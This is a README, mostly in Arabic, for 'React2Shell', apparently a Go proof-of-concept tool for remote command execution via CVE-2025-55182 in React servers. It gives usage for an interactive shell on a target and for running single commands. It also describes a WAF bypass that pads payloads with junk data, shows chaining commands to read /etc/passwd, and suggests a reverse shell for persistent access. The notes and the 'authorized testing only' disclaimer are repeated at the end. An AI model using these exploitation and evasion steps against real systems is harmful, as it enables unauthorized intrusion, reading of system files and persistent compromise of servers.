React2Shell

CVE-2025-55182 PoC

الاستخدام

# Interactive shell
./react2shell -u http://target:3000

# Single command
./react2shell -u http://target:3000 -c "id"

# WAF bypass (128KB junk data)
./react2shell -u http://target:3000 -waf 128

البناء

go build -o react2shell .

الخيارات

Flag	الوصف
-u	رابط الهدف
-c	أمر واحد (اختياري)
-waf	حجم بيانات الحشو لتجاوز WAF بالكيلوبايت (اختياري)

ملاحظات

• كل أمر يعمل في جلسة شل جديدة
• استخدم ; أو && لربط الأوامر: cd /etc && cat passwd
• تجاوز WAF يضيف بيانات حشو قبل الحمولة لتفادي فحص المحتوى

إخلاء مسؤولية

لاختبارات الأمان المصرح بها فقط.

• استخدم ; أو && لربط الأوامر: cd /etc && cat passwd
• للشل الدائم، استخدم شلًا عكسيًا

إخلاء مسؤولية

لاختبارات الأمان المصرح بها فقط.